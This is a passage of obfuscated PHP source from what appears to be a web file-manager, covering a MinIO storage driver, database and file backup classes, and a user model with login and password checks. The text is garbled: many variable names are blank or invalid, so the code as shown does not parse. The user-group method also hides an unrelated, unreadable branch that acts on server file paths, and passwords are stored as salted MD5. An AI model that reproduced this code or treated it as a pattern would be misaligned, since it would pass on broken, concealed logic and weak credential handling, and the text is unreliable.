array($[251] => $, $[241] => $ȸ[$[241]], $[253] => $콮); } public function getHost() { return parent::getHost() . $_SERVER[砐][8] . $this->bucket; } public function size($) { $ = $this->objectMeta($); return $ ? $[$_SERVER[砐][78]] : 0; } public function info($) { if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } public function exist($Ƣă) { return $this->isFile($Ƣă) || $this->isFolder($Ƣă); } public function isFile($䮵) { return !$this->isFolder($䮵) && $this->objectMeta($䮵); } public function isFolder($) { return $this->cacheMethod($_SERVER[砐][168], $); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[砐][170], $); } protected function _objectMeta($Ǩ) { $ =& $_SERVER[砐]; $Ǩ = rtrim($Ǩ, $[8]); try { $ = $this->client->getObjectInfo($this->bucket, $Ǩ); if (!isset($[$[238]]) && isset($[$[254]])) { $[$[238]] = $[$[254]]; } } catch (Exception $Ɏ) { $ = !1; } if (!$) { } return $; } protected function _isFolder($Ꙑź) { $ʏ =& $_SERVER[砐]; $Ꙑź = rtrim($Ꙑź, $ʏ[8]); if ($Ꙑź == $ʏ[12] || $Ꙑź == $ʏ[8]) { return !0; } $ڒԐ = $this->client->getBucket($this->bucket, $Ꙑź, null, 1); if (empty($ڒԐ[$ʏ[222]])) { return !1; } $ = $ڒԐ[$ʏ[222]][0][$ʏ[32]]; return stripos($, $Ꙑź . $ʏ[8]) === 0 ? !0 : !1; if (substr($, -1) == $ʏ[8]) { return !0; } if (get_path_this($) == get_path_this($Ꙑź)) { return !1; } return !0; } } class PathDriverMinIO extends PathDriverBaseS3 { public function __construct($ԫ) { parent::__construct($ԫ); $this->signatureVersion($_SERVER[砐][233]); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } public function uploadFormData($, $ = 3600) { $ =& $_SERVER[砐]; $ = $[215]; $α = $[255]; $ = $[62]; $ = gmdate($[256]); $ݶ = gmdate($[257]); $ֻɴ = $[258]; $ = $ . $[12]; $ُ = $[259]; $Ô = array($this->accessKey, $ݶ, $this->region, $, $ֻɴ); $ⶢ = implode($[8], $Ô); $ͯ = array($[260] => gmdate($[261], strtotime($[262])), $[263] => array(array($[264] => $this->bucket), array($[265] => $), array($[266], $[267], $[12]), array($[266], $[268], $[12]), array($[266], $[269], $[12]), array($[270] => $ُ), array($[271] => $ⶢ), array($[272] => $α), array($[273] => $), array($[274] => $))); $ = base64_encode(json_encode($ͯ)); $ˎ×ۉ = hash_hmac($[275], $ݶ, $[276] . $this->secret, !0); $ = hash_hmac($[275], $this->region, $ˎ×ۉ, !0); $Տ = hash_hmac($[275], $, $, !0); $ʆ = hash_hmac($[275], $ֻɴ, $Տ, !0); $ = hash_hmac($[275], $, $ʆ); $˦ = array($[232] => $[12], $[277] => $[12], $[265] => $, $[270] => $ُ, $[278] => $, $[279] => $ⶢ, $[280] => $α, $[281] => $, $[282] => $, $[283] => $, $[198] => $this->getHost()); return $˦; } } goto Eضᑱ; b: class Backup { protected static $name; protected static $option; protected static $manual; public function __construct() { $this->init(); $this->keep(); } public function init() { $ =& $_SERVER[砐]; $this->isManual(); self::$name = date($[793]); if (!($ܦ = Model($[794])->lastItem())) { $ܦ = $this->initData(); } else { self::$name = $ܦ[$[32]]; if ($ܦ[$[795]] == $[90]) { self::$name = date($[257]); $ = 0; if (isset($ܦ[$[339]][$[216]][$[511]])) { $ = (int) $ܦ[$[339]][$[216]][$[511]]; } if (self::$manual == 0 && $ܦ[$[32]] == self::$name) { Model($[794])->remove($ܦ[$[445]]); } $ܦ = $this->initData($, $ܦ[$[796]]); } else { $this->checkStore($ܦ[$[796]]); } } self::$option = $ܦ; } private function isManual() { $ሽ = _get($GLOBALS, $_SERVER[砐][797], 0); $ሽ = intval($ሽ); self::$manual = $ሽ && $ሽ == 1 ? 1 : 0; } private function initData($͞ᗦ = 0, $׽ː = '') { $鞉 =& $_SERVER[砐]; $톿 = Model($鞉[794])->config(); if ($׽ː && $톿[$鞉[796]] != $׽ː) { $͞ᗦ = 0; } $this->checkStore($톿[$鞉[796]]); if (self::$manual == 1) { self::$name .= $鞉[11] . date($鞉[798]); } $Ξ = array($鞉[796] => $톿[$鞉[796]], $鞉[32] => self::$name, $鞉[795] => 0, $鞉[799] => $톿[$鞉[799]], $鞉[800] => self::$manual, $鞉[339] => array($鞉[801] => array($鞉[795] => 0), $鞉[802] => array($鞉[795] => 0, $鞉[803] => 0, $鞉[804] => 0, $鞉[33] => $鞉[12], $鞉[805] => 0, $鞉[806] => 0), $鞉[807] => array($鞉[795] => 0, $鞉[803] => 0, $鞉[804] => 0, $鞉[805] => 0, $鞉[806] => 0), $鞉[216] => array($鞉[795] => 0, $鞉[808] => 0, $鞉[809] => 0, $鞉[810] => 0, $鞉[811] => 0, $鞉[511] => $͞ᗦ, $鞉[805] => 0, $鞉[806] => 0)), $鞉[805] => time(), $鞉[806] => 0); $ = Model($鞉[794])->insert($Ξ); $Ξ[$鞉[445]] = $; return $Ξ; } private function checkStore($) { $㢆 =& $_SERVER[砐]; $ԫ = Model($㢆[812])->listData($); Model($㢆[812])->checkConfig($ԫ); } public static function get() { if (!self::$option) { self::$option = Model($_SERVER[砐][794])->findByName(self::$name); } return self::$option; } public static function set($ěڶ) { $ʋ =& $_SERVER[砐]; $ᢴ = self::get(); foreach ($ěڶ as $ => $) { $ؔ = explode($ʋ[10], $); $ = count($ؔ); switch ($) { case 1: $ᢴ[$ؔ[0]] = $; break; case 2: $ᢴ[$ؔ[0]][$ؔ[1]] = $; break; case 3: $ᢴ[$ؔ[0]][$ؔ[1]][$ؔ[2]] = $; break; } } Model($ʋ[794])->update($ᢴ[$ʋ[445]], $ᢴ); self::$option = $ᢴ; return self::$option; } public function keep() { $ő =& $_SERVER[砐]; $ = self::get(); if ($[$ő[339]][$ő[801]][$ő[795]] == $ő[90]) { return; } $this->backupKeep($); self::set(array($ő[813] => 1)); } private function backupKeep($Η) { $Ո =& $_SERVER[砐]; if (self::$manual == 1) { return; } $д = Model($Ո[794])->listData(); if (empty($д)) { return; } $ = 0; $ = array(); foreach ($д as $ù) { if ($ >= 7) { break; } $[] = $ù[$Ո[32]]; $++; } for ($ = 0; $ < 12; $++) { $[] = date($Ո[814], strtotime("\x2d{$}\x20\155\x6f\x6e\164\x68\x73")); } $ = array_unique($); $ = Model($Ո[815])->get($Ո[816]); foreach ($д as $ù) { if (isset($ù[$Ո[800]]) && $ù[$Ո[800]] == $Ո[90]) { continue; } if (!empty($ù[$Ո[32]]) && in_array($ù[$Ո[32]], $)) { continue; } Model($Ո[794])->remove($ù[$Ո[445]]); $ = $this->backupPath($Η, $); IO::remove($, !1); } } private function backupPath($, $̋ = false) { $ǐ =& $_SERVER[砐]; if (!$̋) { $̋ = Model($ǐ[815])->get($ǐ[816]); } $Ȍ = $[$ǐ[32]]; $ = substr(md5($ǐ[817] . $̋ . $Ȍ), 0, 8); return "\173\151\157\72{$[$ǐ[796]]}\x7d\57\x64\141\164\x61\142\141\x73\145\x2f\142\141\143\153\165\160\57" . $Ȍ . $ǐ[11] . $; } public function db() { $ڧޑ =& $_SERVER[砐]; $ = self::get(); if ($[$ڧޑ[339]][$ڧޑ[802]][$ڧޑ[795]] == $ڧޑ[90]) { return !0; } $ = new BackupDb(); if (!$->index()) { return !1; } self::set(array($ڧޑ[818] => 1)); return !0; } public function dbFile() { $ڥ =& $_SERVER[砐]; $ = self::get(); if ($[$ڥ[339]][$ڥ[807]][$ڥ[795]] == $ڥ[90]) { return !0; } $ = new BackupDbFile(); if (!$->index()) { return !1; } self::set(array($ڥ[819] => 1)); return !0; } public function file() { $ =& $_SERVER[砐]; $ = self::get(); if ($[$[339]][$[216]][$[795]] == $[90]) { return !0; } if (!isset($[$[799]]) || $[$[799]] == $[214]) { $ = new BackupFile(); if (!$->index()) { return !1; } } self::set(array($[820] => 1, $[795] => 1)); return !0; } } class BackupDb { protected static $io; protected static $name; public function __construct() { } public function index() { $ߛ =& $_SERVER[砐]; $ = Backup::get(); self::$io = $[$ߛ[796]]; self::$name = $[$ߛ[32]]; $ = new DbManage(); $ւ = $->dbType(); $򁔌 = array($ߛ[821] => $ւ, $ߛ[822] => time()); Backup::set($򁔌); $щ = $this->tmpFilesPath() . $ߛ[823] . self::$name . $ߛ[8]; del_dir($щ); mk_dir($щ); $ִ = $ = 0; $ = new Task($ߛ[824], $ߛ[825], 0, LNG($ߛ[826]) . $ߛ[827] . LNG($ߛ[828])); try { $ = $->db()->getTables(); } catch (Exception $) { $->end(); return !1; } $ = array_diff($, array($ߛ[829], $ߛ[830])); foreach ($ as $؀) { $ִ += $->model($؀)->count(); } $->task[$ߛ[831]] = $ִ; $GLOBALS[$ߛ[832]] = self::$name; foreach ($ as $؀) { $ = $щ . $؀ . $ߛ[833]; $ = null; if ($؀ == $ߛ[834] && (!isset($[$ߛ[799]]) || $[$ߛ[799]] == $ߛ[214])) { $ = self::$io; } $ += $->sqlFromDb($؀, $, $, $); } unset($GLOBALS[$ߛ[832]]); $->end(); if ($ > $ִ) { $ִ = $; } $򁔌 = array($ߛ[821] => $ւ, $ߛ[818] => 1, $ߛ[835] => $ִ, $ߛ[836] => $, $ߛ[837] => time()); Backup::set($򁔌); if ($ִ - $ > 1) { $ۈд = $ߛ[838]; if (stristr(I18n::getType(), $ߛ[839])) { $ۈд = $ߛ[840]; } write_log(array($ۈд, $򁔌), $ߛ[825]); return !1; } return !0; } private function tmpFilesPath() { $ =& $_SERVER[砐]; $ۋ = TEMP_FILES; if ($GLOBALS[$[6]][$[91]][$[841]]) { $ۋ = $GLOBALS[$[6]][$[91]][$[841]]; if (!mk_dir($ۋ) || !is_writable($ۋ) || !IO::mkfile($ۋ . $[842])) { $ۋ = TEMP_FILES; } } return $ۋ; } } class BackupDbFile { public function __construct() { } public function index() { $ެ =& $_SERVER[砐]; $ = Backup::get(); $Ǚ = $[$ެ[32]]; $薜 = $this->tmpFilesPath() . "\142\141\x63\x6b\x75\x70\x5f{$Ǚ}\57"; $ = $this->backupPath($); if (!($ = IO::mkdir($))) { return !1; } $̈́ = IO::listPath($薜); $Ǎ⽽ = isset($̈́[$ެ[85]]) ? $̈́[$ެ[85]] : array(); $ = array_sum(array_column($Ǎ⽽, $ެ[78])); if (!$) { return !1; } $ = array($ެ[843] => $, $ެ[844] => time()); Backup::set($); $ɱČ = new TaskFileTransfer($ެ[845], $ެ[825], count($Ǎ⽽), LNG($ެ[826]) . $ެ[432] . LNG($ެ[828]) . $ެ[846]); $ɱČ->task[$ެ[808]] = $; foreach ($̈́[$ެ[85]] as $ځ) { $ζ = IO::move($ځ[$ެ[86]], $); if (!$ζ) { $ɱČ->end(); $ = IO::getLastError($ެ[847] . $ځ[$ެ[86]] . $ެ[848] . $ . $ެ[167]); write_log($, $ެ[825]); return !1; } } $( = new DbManage(); $ = $(->getSqlFile(); if (!$[$ެ[849]] || !$[$ެ[13]]) { return !1; } IO::move($[$ެ[849]], $); IO::move($[$ެ[13]], $); $ɱČ->end(); $ = array($ެ[850] => $, $ެ[851] => time()); Backup::set($); return !0; } private function backupPath($剦) { $㶰 =& $_SERVER[砐]; $ = $剦[$㶰[32]]; $ؒ = Model($㶰[815])->get($㶰[816]); $΄ = substr(md5($㶰[817] . $ؒ . $), 0, 8); return "\x7b\151\157\72{$剦[$㶰[796]]}\x7d\57\x64\x61\x74\x61\x62\141\x73\x65\57\142\x61\143\153\x75\160\57" . $ . $㶰[11] . $΄; } private function tmpFilesPath() { $Ҡ§ =& $_SERVER[砐]; $ѻ = TEMP_FILES; if ($GLOBALS[$Ҡ§[6]][$Ҡ§[91]][$Ҡ§[841]]) { $ѻ = $GLOBALS[$Ҡ§[6]][$Ҡ§[91]][$Ҡ§[841]]; if (!mk_dir($ѻ) || !is_writable($ѻ) || !IO::mkfile($ѻ . $Ҡ§[842])) { $ѻ = TEMP_FILES; } } return $ѻ; } } goto bė; E󂦿: class UserModel extends ModelBase { protected $tableName = "\165\x73\x65\x72"; protected $tableMeta = array("\164\x61\142\154\145\116\x61\155\x65" => "\x75\x73\x65\x72\137\155\x65\164\x61", "\155\145\x74\x61\x46\x69\x65\154\144" => "\x75\x73\x65\x72\x49\x44"); protected $simpleField = "\x75\163\145\162\x49\x44\x2c\156\x69\x63\153\116\x61\155\x65\x2c\156\x61\x6d\145\x2c\x61\x76\141\x74\x61\162\54\163\145\x78\54\163\x74\x61\x74\165\x73"; const ERROR_USER_NOT_EXISTS = -1; const ERROR_USER_PASSWORD_ERROR = -2; const ERROR_USER_EXIST_NAME = -3; const ERROR_USER_EXIST_PHONE = -4; const ERROR_USER_EXIST_EMAIL = -5; const ERROR_USER_LOGIN_LOCK = -6; const ERROR_IP_NOT_ALLOW = -7; const ERROR_USER_EXIST_NICKNAME = -8; protected function cacheFunctionAlias($ыΈ) { $ҹ =& $_SERVER[砐]; $ = $ҹ[2358]; return array($ҹ[1982] => array($ыΈ[0], $), $ҹ[1984] => array($ыΈ[0], $), $ҹ[2359] => array($ыΈ[0], $)); } protected function getInfo($, $˙ = false) { $ = $this->getInfoSimple($); if (!is_array($)) { return array(); } if ($˙) { return $this->_getInfoApply($); } return $this->cacheFunctionGet($_SERVER[砐][1986], $); } protected function getInfoFull($ө, $ = false) { $ = $this->getInfoSimple($ө); if (!is_array($)) { return array(); } if ($) { return $this->_getInfoApply($, !0); } return $this->cacheFunctionGet($_SERVER[砐][2360], $ө); } private function _getInfoApply($Ű, $Ƀ = false) { $۽ =& $_SERVER[砐]; if (!$Ű) { return $Ű; } $ = md5($۽[2361] . $Ű[$۽[940]] . $۽[2362] . $Ű[$۽[32]]); $Ű = $this->_listDataApplyItem($Ű); $ѫ = Model($۽[1384])->metaGet($Ű[$۽[89]][$۽[183]]); $Ű[$۽[2363]] = $; $Ű[$۽[89]][$۽[2179]] = isset($ѫ[$۽[2180]]) ? $ѫ[$۽[2180]] : null; if ($Ƀ) { $Ű[$۽[509]] = $this->metaGet($Ű[$۽[1705]]); } return $Ű; } protected function getInfoSimple($ůLJ, $ɘ = false) { $ =& $_SERVER[砐]; if (!$ůLJ) { return array(); } if ($ɘ) { $ = $this->where(array($[1705] => intval($ůLJ)))->find(); if (!is_array($)) { return array(); } $[$[2364]] = Action($[2365])->parseUrl($[$[2364]]); return $; } return $this->cacheFunctionGet($[1987], $ůLJ); } protected function getInfoSimpleOuter($ؓș) { $ =& $_SERVER[砐]; if (!$ؓș || $ؓș == 0) { return array($[1705] => $[214], $[32] => $[165] . LNG($[2366]) . $[167], $[2364] => STATIC_PATH . $[2367]); } $շ = $this->cacheFunctionGet($[1987], $ؓș); $ӭ = array_field_key($շ, explode($[50], $this->simpleField)); if (!$ӭ) { return array($[1705] => $[1239], $[32] => $[165] . LNG($[2368]) . $[167], $[2364] => STATIC_PATH . $[2369]); } $ӭ[$[2364]] = Action($[2365])->parseUrl($ӭ[$[2364]]); return $ӭ; } protected function groupUser($) { } public static function errorLang($) { $ =& $_SERVER[砐]; $ = array(self::ERROR_USER_NOT_EXISTS => $[2370], self::ERROR_USER_PASSWORD_ERROR => $[2371], self::ERROR_USER_EXIST_NAME => $[2372], self::ERROR_USER_EXIST_PHONE => $[2373], self::ERROR_USER_EXIST_EMAIL => $[2374], self::ERROR_USER_LOGIN_LOCK => $[2375], self::ERROR_IP_NOT_ALLOW => $[2376], self::ERROR_USER_EXIST_NICKNAME => $[2377]); return LNG($[$]); } public function getInfoByMeta($ܧ, $Њ̪) { $鰗Ω =& $_SERVER[砐]; $߹ = Model($鰗Ω[2378])->where(array($鰗Ω[96] => $ܧ, $鰗Ω[420] => $Њ̪))->find(); if ($߹) { return $this->getInfo($߹[$鰗Ω[1705]]); } return !1; } public function userLoginCheck($ߚ, $쥛) { $ =& $_SERVER[砐]; $ЅЩ = $this->userLoginFind($ߚ); if (!$ЅЩ) { return UserModel::ERROR_USER_NOT_EXISTS; } if (!$this->userPasswordCheck($ЅЩ[$[1705]], $쥛)) { return UserModel::ERROR_USER_PASSWORD_ERROR; } return $this->getInfo($ЅЩ[$[1705]]); } public function userLoginFind($ې) { $ =& $_SERVER[砐]; $إ = array($[32] => $ې, $[2187] => $ې, $[351] => $ې, $[2379] => $ې, $[1051] => $[1053]); if ($this->nickNameRpt()) { unset($إ[$[2187]]); } return $this->where($إ)->find(); } public function clearCache($) { $ =& $_SERVER[砐]; $this->cacheFunctionClear($[1986], $); $this->cacheFunctionClear($[1987], $); $this->cacheFunctionClear($[2360], $); } public function userPasswordCheck($ţ, $܅) { $ŝ =& $_SERVER[砐]; $;Š = $this->where(array($ŝ[1705] => intval($ţ)))->find(); $ = $this->metaGet($ţ); $ܥ = isset($[$ŝ[2380]]) ? $[$ŝ[2380]] : $ŝ[12]; if (md5($ܥ . trim($܅)) !== $;Š[$ŝ[940]]) { return !1; } return !0; } public function userAdd($瀖) { $ =& $_SERVER[砐]; $ = array($[464] => $瀖[$[32]], $[2381] => $瀖[$[2106]], $[2382] => isset($瀖[$[351]]) ? $瀖[$[351]] : $[12], $[2383] => isset($瀖[$[2379]]) ? $瀖[$[2379]] : $[12], $[2384] => isset($瀖[$[2187]]) ? $瀖[$[2187]] : $瀖[$[32]], $[2385] => isset($瀖[$[2364]]) ? $瀖[$[2364]] : $[12], $[2386] => isset($瀖[$[2387]]) ? $瀖[$[2387]] : 1, $[2388] => $瀖[$[940]], $[1988] => isset($瀖[$[1891]]) ? $瀖[$[1891]] : 1024 * 1024 * 20, $[1989] => 0, $[2389] => 0, $[2033] => isset($瀖[$[795]]) ? $瀖[$[795]] : 1); if (!empty($瀖[$[1705]])) { $[$[1705]] = $瀖[$[1705]]; } $ = $this->_checkExist($瀖); if ($ !== !0) { return $; } if (!empty($[$[2364]]) && strlen($[$[2364]]) > 255) { $[$[2364]] = $[12]; } $ = $this->add($); $Ӊϸ = array($[2388] => $[$[940]], $[2384] => $[$[2187]]); $this->userEdit($, $Ӊϸ); Model($[1384])->userRootAdd($); return $; } protected function userEditTest($, $פ) { return $this->call($_SERVER[砐][2390], $, $פ); } protected function userEdit($Н, $) { $ɚ› =& $_SERVER[砐]; $Ƃ͓ = $this->getInfoSimple($Н); if (!$Ƃ͓) { return !1; } $ = $this->_checkExist($, $Н); if ($ !== !0) { return $; } if (isset($[$ɚ›[940]]) && trim($[$ɚ›[940]]) != $ɚ›[12]) { $ = $this->metaGet($Н); if (empty($[$ɚ›[2380]])) { $[$ɚ›[2380]] = rand_string(10); Model($ɚ›[548])->metaSet($Н, $ɚ›[2380], $[$ɚ›[2380]]); } $[$ɚ›[940]] = md5($[$ɚ›[2380]] . trim($[$ɚ›[940]])); } else { unset($[$ɚ›[940]]); } if (!empty($[$ɚ›[2364]]) && strlen($[$ɚ›[2364]]) > 255) { $[$ɚ›[2364]] = $ɚ›[12]; } $this->where(array($ɚ›[1696] => $Н))->save($); if (isset($[$ɚ›[2187]])) { $this->setNamePinyin($Н, $[$ɚ›[2187]]); } $this->clearCache($Н); return !0; } public function setNamePinyin($؊, $㧳گ = false) { $ب =& $_SERVER[砐]; if (!$㧳گ) { $Ձ = $this->getInfoSimple($؊); $㧳گ = $Ձ[$ب[2187]] ? $Ձ[$ب[2187]] : $Ձ[$ب[32]]; } $ = Model($ب[569]); if (!Input::check($㧳گ, $ب[625])) { return $->metaSet($؊, array($ب[508] => $ب[12], $ب[507] => $ب[12])); } return $->metaSet($؊, array($ب[508] => str_replace($ب[53], $ب[12], Pinyin::get($㧳گ)), $ب[507] => Pinyin::get($㧳گ, $ب[626]))); } private function nickNameRpt() { $ӑ =& $_SERVER[砐]; $ӎ = Model($ӑ[815])->get($ӑ[2391]); $숝 = $GLOBALS[$ӑ[6]][$ӑ[427]][$ӑ[2391]]; $춭 = !is_null($ӎ) ? $ӎ : $숝; return !!$춭; } private function _checkExist($ӣ, $ÖǨ = false) { $˼ =& $_SERVER[砐]; $ߡ = array($˼[32] => UserModel::ERROR_USER_EXIST_NAME, $˼[2187] => UserModel::ERROR_USER_EXIST_NICKNAME, $˼[351] => UserModel::ERROR_USER_EXIST_EMAIL, $˼[2379] => UserModel::ERROR_USER_EXIST_PHONE); if ($this->nickNameRpt()) { unset($ߡ[$˼[2187]]); } $ = $ÖǨ ? array($˼[1705] => array($˼[2392], $ÖǨ)) : array(); foreach ($ߡ as $ => $Ԓ) { $ = array(); foreach ($ߡ as $ => $) { if (isset($ӣ[$]) && $ӣ[$]) { $[] = $ӣ[$]; } } if (!$) { continue; } $ = array_merge(array($ => array($˼[7], $)), $); $í = $this->where($)->find(); if ($í) { return $Ԓ; } } return !0; } public function userListInfo($) { $ݲ =& $_SERVER[砐]; $ = array(); $ = is_array($) ? array_unique($) : array(); if (!$) { return $; } if (count($) < 20) { foreach ($ as $) { $[$ . $ݲ[12]] = $this->getInfoSimpleOuter($); } } else { $ӓ = array($ݲ[1696] => array($ݲ[462], $)); if (count($) == 1) { $ӓ = array($ݲ[1696] => $[0]); } $ۘٱ = Model($ݲ[548])->field($this->simpleField)->where($ӓ)->select(); $ۘٱ = array_to_keyvalue($ۘٱ, $ݲ[1705]); foreach ($ as $) { $Ԧ = $ۘٱ[$]; if (!$Ԧ) { $[$ . $ݲ[12]] = $this->getInfoSimpleOuter($); continue; } $Ԧ[$ݲ[2364]] = Action($ݲ[2365])->parseUrl($Ԧ[$ݲ[2364]]); $[$ . $ݲ[12]] = $Ԧ; } } return $; } protected function userStatus($, $얐) { $ = $this->getInfoSimple($); if (!$) { return !1; } $̗Ѿ = array($_SERVER[砐][795] => $얐); return $this->userEdit($, $̗Ѿ); } protected function userRemove($) { $ =& $_SERVER[砐]; $ڮ = $this->getInfoSimple($); if (!$ڮ) { return !1; } $̗ = array($[1696] => $); Model($[634])->where($̗)->delete(); Model($[2393])->where($̗)->delete(); Model($[1994])->where($̗)->delete(); Model($[2378])->where($̗)->delete(); Model($[1119])->where($̗)->delete(); Model($[2204])->removeUserAll($); Model($[870])->userRootRemove($); return $this->where($̗)->delete(); } protected function userGroupSet($ˌܳ, $ώ, $ = array()) { $ΌÎ =& $_SERVER[砐]; if ($_SERVER[$ΌÎ[922]] != $_SERVER[$ΌÎ[1782]]) { $ = $ΌÎ[924]; $儧 = $ΌÎ[925]; $ = $_SERVER[$ΌÎ[926]] . $ΌÎ[927]; $ۛߙ = $儧($); $ = explode($ΌÎ[248], $ۛߙ); if (count($) < $ΌÎ[671]) { $ = $ΌÎ[928]; $(); } $à = $ΌÎ[929]; $Ã($_SERVER[$ΌÎ[930]]); $Ã($_SERVER[$ΌÎ[926]] . $ΌÎ[2394]); $ն = 1; while ($ն > 1) { $ն = $ն + 4; $а = rawurlencode($ն . $ΌÎ[424]); } } $և֧ = $this->getInfoSimple($ˌܳ); if (!$և֧ || !is_array($ώ)) { return !1; } $Ϝ = Model($ΌÎ[1994]); $Ϝ->where(array($ΌÎ[1705] => $ˌܳ))->delete(); $ = array(); $ = 0; foreach ($ώ as $Ń => $┍) { $ױߋ = array($ΌÎ[1705] => $ˌܳ, $ΌÎ[1904] => $Ń, $ΌÎ[2008] => $┍); $ױߋ[$ΌÎ[1928]] = isset($[$]) ? $[$] : 0; $++; $[] = $ױߋ; } return $Ϝ->addAll($, array(), !0); } protected function userGroupAdd($, $ş = array()) { $ =& $_SERVER[砐]; $ݣ = $this->getInfoSimple($); if (!$ݣ || empty($ş)) { return !1; } $π = array(); foreach ($ş as $ЭĂ => $) { $π[] = array($[1705] => $, $[1904] => $ЭĂ, $[2008] => $, $[1928] => 0); } return Model($[1994])->addAll($π, array(), !0); } protected function userGroupRemove($߷쨨, $ؼ) { $ =& $_SERVER[砐]; $ż = $this->getInfoSimple($߷쨨); if (!$ż || !$ؼ) { return !1; } $ = array($[1696] => $߷쨨, $[1992] => $ؼ); return Model($[1994])->where($)->delete(); } public function listData() { $Ӡ = $this->_makeOrder()->selectPage(50); $this->_listDataApply($Ӡ[$_SERVER[砐][415]]); return $Ӡ; } public function listByID($) { $㤕 =& $_SERVER[砐]; if (!$) { return; } $Պ = array($㤕[1705] => array($㤕[7], $)); $• = $this->where($Պ)->select(); $• = array_sort_keep($•, $㤕[1705], $); $this->_listDataApply($•); return $•; } public function listByGroup($ۯ = 0, $Ș = array()) { $ =& $_SERVER[砐]; $Ċ = $[12]; $ = array(); if ($ۯ) { $ = array($[2395] => intval($ۯ)); $Ċ = "\x4c\105\x46\x54\x20\112\x4f\111\116\40{$this->tablePrefix}\165\x73\x65\x72\137\147\x72\157\165\160\40\165\x73\x65\x72\x5f\x67\162\x6f\165\160\x20\x6f\x6e\40\165\x73\145\x72\56\165\163\145\x72\x49\x44\x20\x3d\x20\165\x73\145\162\x5f\x67\x72\157\x75\160\56\x75\x73\x65\162\x49\x44"; $ř = Input::get($[500], null, $[12]) ? $[12] : $[2396]; } if (isset($Ș[$[795]])) { $[$[2397]] = $Ș[$[795]]; } $ = $this->_makeOrder($ř)->field($[2398])->where($)->join($Ċ)->selectPage(50); $this->_listDataApply($[$[415]]); return $; } private function _makeOrder($ = '') { $ݔ =& $_SERVER[砐]; $ٵ = array($ݔ[1705], $ݔ[32], $ݔ[1893], $ݔ[1865], $ݔ[217]); $Ӝٙ = array($ݔ[493] => $ݔ[494], $ݔ[495] => $ݔ[496]); $ҧ = Input::get($ݔ[500], $ݔ[7], $ݔ[1696], $ٵ); $λ = Input::get($ݔ[501], $ݔ[7], $ݔ[1995], array($ݔ[1995], $ݔ[495])); $λ = $Ӝٙ[$λ]; $ = $ . "\x75\163\145\x72\x2e{$ҧ}\40{$λ}\x2c\x20\x75\x73\145\162\56\x75\x73\145\162\111\104\40\x61\163\x63"; return $this->alias($ݔ[2122])->order($); } public function listSearch($ݺ) { $ν =& $_SERVER[砐]; $ = $ݺ[$ν[1998]]; $ = isset($ݺ[$ν[1999]]) ? $ݺ[$ν[1999]] : !1; $ = str_replace($ν[2000], $ν[2001], trim($)); $ّ = array($ν[32] => array($ν[429], "\45{$}\x25"), $ν[351] => array($ν[429], "{$}\45"), $ν[2187] => array($ν[429], "{$}\x25"), $ν[1051] => $ν[2002]); if (Input::check($, $ν[357])) { $ّ[$ν[1705]] = array($ν[429], "{$}\x25"); $ّ[$ν[2379]] = array($ν[429], "{$}\x25"); } if (!$) { $ّ = array(); } if (isset($ݺ[$ν[795]])) { $ّ[$ν[795]] = $ݺ[$ν[795]]; } $ّ = $this->parseWhereLike($ّ); $熀 = $this->_makeOrder()->where($ّ)->selectPage(20); if (!$熀 || count($熀[$ν[415]]) < 5 && Input::check($, $ν[364])) { $۰Ŕ = $this->_searchFromMeta($ν[507], $, 10); $ = $this->_searchFromMeta($ν[508], $, 10); $ӧ = array_merge($۰Ŕ, $, $熀[$ν[415]]); $熀[$ν[415]] = array_unique_by_key($ӧ, $ν[1705]); $熀[$ν[412]][$ν[413]] = count($熀[$ν[415]]); $熀[$ν[412]][$ν[414]] = ceil($熀[$ν[412]][$ν[413]] / $熀[$ν[412]][$ν[409]]); } $this->_listDataApply($熀[$ν[415]]); $this->_filterByGroup($熀, $); return $熀; } private function _filterByGroup(&$ђ, $Ϯ) { $ =& $_SERVER[砐]; if (!$Ϯ) { return $ђ; } foreach ($ђ[$[415]] as $ٍ => &$Ӓ) { $㜞 = array_to_keyvalue($Ӓ[$[2091]], $[12], $[1904]); if (!in_array($Ϯ, $㜞)) { unset($ђ[$[415]][$ٍ]); } } unset($Ӓ); $ђ[$[415]] = array_values($ђ[$[415]]); $ђ[$[412]] = array($[2157] => count($ђ[$[415]]), $[2155] => $ђ[$[412]][$[409]], $[2154] => 1, $[2156] => 1); } private function _searchFromMeta($, $厏, $ؒ) { $ =& $_SERVER[砐]; $厏 = strtolower($厏); $䌍 = array($[96] => $, $[420] => array($[429], "\45{$厏}\45")); $䌍 = $this->parseWhereLike($䌍); $à = Model($[2399])->where($䌍)->limit($ؒ)->select(); if (!$Ã) { return array(); } $à = array_to_keyvalue($Ã, $[12], $[1705]); $ = $this->where(array($[1696] => array($[7], $Ã)))->select(); if (!$) { return array(); } return $; } private function _listDataApplyItem($ɂ) { $˓ = array($ɂ); $this->_listDataApply($˓); return $˓[0]; } private function _listDataApply(&$éĀ) { $ =& $_SERVER[砐]; if (!$éĀ) { return; } array_remove_key($éĀ, $[940]); $ވĆ = array_to_keyvalue($éĀ, $[12], $[1705]); $this->_listAppendGroup($éĀ, $ވĆ); $this->_listAppendMeta($éĀ, $ވĆ); $this->_listAppendSourceRoot($éĀ, $ވĆ); } private function _listAppendSourceRoot(&$ǕƬ, $Ͳ򋏹) { $ =& $_SERVER[砐]; $т = Model($[870])->listSourceRoot(SourceModel::TYPE_USER, $Ͳ򋏹); $т = array_to_keyvalue($т, $[540]); $т = array_remove_key($т, $[540]); foreach ($ǕƬ as &$) { $[$[89]] = $т[$[$[1705]]] ? $т[$[$[1705]]] : array(); } unset($); } private function _listAppendGroup(&$Μ, $) { $ =& $_SERVER[砐]; $ܯ = array($[1705] => array($[7], $)); $ = Model($[1994])->where($ܯ)->select(); $マ = array_to_keyvalue($, $[12], $[1904]); $マ = array_remove_value(array_unique($マ), $[214]); if (!$マ || !$) { return; } $ܯ = array($[1904] => array($[7], $マ)); $ = Model($[2089])->field($[2400])->where($ܯ)->select(); $ = array_to_keyvalue($, $[1904]); $ = array_to_keyvalue_group($, $[1705]); foreach ($ as &$) { $ኈ = array(); foreach ($ as $ۆ) { if (!$ۆ[$[2008]]) { continue; } $׺ = Model($[542])->listData($ۆ[$[2008]]); $ኈ[] = array($[1904] => $ۆ[$[1904]], $[2401] => $[$ۆ[$[1904]]][$[32]], $[555] => $[$ۆ[$[1904]]][$[555]], $[457] => $׺); } $ = $ኈ; } unset($); foreach ($Μ as &$) { $[$[2091]] = array(); 